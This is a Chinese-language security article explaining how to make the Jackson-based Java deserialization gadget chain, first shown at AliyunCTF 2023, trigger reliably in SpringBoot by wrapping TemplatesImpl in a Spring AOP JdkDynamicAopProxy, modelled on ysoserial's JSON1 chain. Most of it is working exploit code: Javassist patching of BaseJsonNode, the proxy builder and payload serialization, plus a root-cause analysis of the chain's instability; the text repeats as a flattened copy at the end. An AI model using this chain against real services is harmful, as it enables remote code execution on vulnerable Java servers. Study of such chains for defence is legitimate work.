从JSON1链中学习处理JACKSON链的不稳定性
字数 1529 2025-08-20 18:17:41

JACKSON反序列化利用链稳定性优化研究

1. 背景与概述

在2023年4月的AliyunCTF中公开了一条仅依赖Jackson库的原生反序列化利用链(JACKSON链),该链可直接在无额外依赖的SpringBoot环境下使用。然而,由于Jackson获取类属性顺序的不稳定性,导致有时在触发getOutputProperties方法前就报错。本文参考ysoserial中的JSON1链,通过添加Spring AOP依赖,对JACKSON链进行改进,使其在SpringBoot环境下能稳定触发目标方法。

2. JACKSON链原理解析

2.1 基本构造流程

JACKSON链的构造分为三个关键步骤:

  1. 修改BaseJsonNode类

    CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
    CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
    ctClass.removeMethod(writeReplace);
    ctClass.toClass();
    
  2. 构造POJONode对象

    POJONode node = new POJONode(makeTemplatesImpl(cmd));
    
  3. 设置BadAttributeValueExpException

    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    setFieldValue(val, "val", node);
    return serialize(val);
    

2.2 攻击原理

  • POJONode.toString()会触发其包装对象的所有getter方法
  • 当包装对象为TemplatesImpl时,最终会触发getOutputProperties方法
  • getOutputProperties方法可导致任意类加载,实现代码执行

3. 不稳定性问题分析

3.1 问题表现

在SpringBoot 2.7.5 + OpenJDK 1.8.20环境下,反序列化时可能出现:

Caused by: java.lang.NullPointerException
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)

3.2 根本原因

BeanSerializerBase.serializeFields获取TemplatesImpl属性的顺序不稳定:

protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider) {
    BeanPropertyWriter[] props = ...;
    for (int i = 0; i < props.length; ++i) {
        prop.serializeAsField(bean, gen, provider);
    }
}

可能获取的属性顺序:

  1. transletIndex
  2. stylesheetDOM
  3. outputProperties

stylesheetDOM先于outputProperties被触发时,由于_sdom成员为空,导致NPE,攻击失败。

4. JSON1链的启发

4.1 JSON1链关键思路

ysoserial中的JSON1链通过以下方式确保稳定性:

  1. 使用JdkDynamicAopProxy代理TemplatesImpl
  2. 仅暴露Templates接口的getOutputProperties方法
  3. 通过代理机制确保只触发目标方法

4.2 关键调用链

TemplatesImpl.getOutputProperties()
  -> Method.invoke()
  -> AopUtils.invokeJoinpointUsingReflection()
  -> JdkDynamicAopProxy.invoke()
  -> $Proxy0.getOutputProperties()
  -> ... [最终触发代码执行]

4.3 代理机制优势

  • 代理类只包含接口方法(getOutputProperties
  • 避免了Jackson随机触发其他getter方法的问题
  • 需要Spring AOP依赖(SpringBoot默认包含)

5. JACKSON链改进方案

5.1 改进后的构造流程

public static byte[] getJSON2(String cmd) throws Exception {
    // 1. 仍然需要移除BaseJsonNode的writeReplace方法
    CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
    CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
    ctClass.removeMethod(writeReplace);
    ctClass.toClass();
    
    // 2. 使用代理对象构造POJONode
    POJONode node = new POJONode(makeTemplatesImplAopProxy(cmd));
    
    // 3. 构造BadAttributeValueExpException
    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    setFieldValue(val, "val", node);
    return serialize(val);
}

5.2 代理对象构造方法

public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
    // 1. 创建AdvisedSupport配置
    AdvisedSupport advisedSupport = new AdvisedSupport();
    advisedSupport.setTarget(makeTemplatesImpl(cmd));
    
    // 2. 创建JdkDynamicAopProxy
    Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
                                 .getConstructor(AdvisedSupport.class);
    constructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
    
    // 3. 创建代理对象
    Object proxy = Proxy.newProxyInstance(
        ClassLoader.getSystemClassLoader(),
        new Class[]{Templates.class},
        handler
    );
    return proxy;
}

5.3 改进效果

  • BeanSerializerBase.serializeFields只会获取到outputProperties一个属性
  • 确保稳定触发getOutputProperties方法
  • 避免了因属性顺序导致的NPE问题

6. 技术要点总结

  1. 原始JACKSON链问题

    • 依赖Jackson的反射机制触发所有getter
    • 属性获取顺序不稳定导致可能失败
  2. 改进方案核心

    • 使用Spring AOP的JdkDynamicAopProxy
    • 通过代理限制只暴露目标方法
    • 确保稳定触发getOutputProperties
  3. 环境要求

    • 需要Spring AOP依赖(SpringBoot默认满足)
    • 兼容原始JACKSON链的使用场景
  4. 防御建议

    • 限制Jackson反序列化的类
    • 及时更新Jackson版本
    • 监控和阻断可疑的反序列化操作

7. 参考资源

  1. AliyunCTF 2023 Writeup
  2. ysoserial项目
  3. Spring AOP文档
  4. Jackson官方安全指南
JACKSON反序列化利用链稳定性优化研究 1. 背景与概述 在2023年4月的AliyunCTF中公开了一条仅依赖Jackson库的原生反序列化利用链(JACKSON链),该链可直接在无额外依赖的SpringBoot环境下使用。然而,由于Jackson获取类属性顺序的不稳定性,导致有时在触发 getOutputProperties 方法前就报错。本文参考ysoserial中的JSON1链,通过添加Spring AOP依赖,对JACKSON链进行改进,使其在SpringBoot环境下能稳定触发目标方法。 2. JACKSON链原理解析 2.1 基本构造流程 JACKSON链的构造分为三个关键步骤: 修改BaseJsonNode类 : 构造POJONode对象 : 设置BadAttributeValueExpException : 2.2 攻击原理 POJONode.toString() 会触发其包装对象的所有getter方法 当包装对象为 TemplatesImpl 时,最终会触发 getOutputProperties 方法 getOutputProperties 方法可导致任意类加载,实现代码执行 3. 不稳定性问题分析 3.1 问题表现 在SpringBoot 2.7.5 + OpenJDK 1.8.20环境下,反序列化时可能出现: 3.2 根本原因 BeanSerializerBase.serializeFields 获取 TemplatesImpl 属性的顺序不稳定: 可能获取的属性顺序: transletIndex stylesheetDOM outputProperties 当 stylesheetDOM 先于 outputProperties 被触发时,由于 _sdom 成员为空,导致NPE,攻击失败。 4. JSON1链的启发 4.1 JSON1链关键思路 ysoserial中的JSON1链通过以下方式确保稳定性: 使用 JdkDynamicAopProxy 代理 TemplatesImpl 仅暴露 Templates 接口的 getOutputProperties 方法 通过代理机制确保只触发目标方法 4.2 关键调用链 4.3 代理机制优势 代理类只包含接口方法( getOutputProperties ) 避免了Jackson随机触发其他getter方法的问题 需要Spring AOP依赖(SpringBoot默认包含) 5. JACKSON链改进方案 5.1 改进后的构造流程 5.2 代理对象构造方法 5.3 改进效果 BeanSerializerBase.serializeFields 只会获取到 outputProperties 一个属性 确保稳定触发 getOutputProperties 方法 避免了因属性顺序导致的NPE问题 6. 技术要点总结 原始JACKSON链问题 : 依赖Jackson的反射机制触发所有getter 属性获取顺序不稳定导致可能失败 改进方案核心 : 使用Spring AOP的 JdkDynamicAopProxy 通过代理限制只暴露目标方法 确保稳定触发 getOutputProperties 环境要求 : 需要Spring AOP依赖(SpringBoot默认满足) 兼容原始JACKSON链的使用场景 防御建议 : 限制Jackson反序列化的类 及时更新Jackson版本 监控和阻断可疑的反序列化操作 7. 参考资源 AliyunCTF 2023 Writeup ysoserial项目 Spring AOP文档 Jackson官方安全指南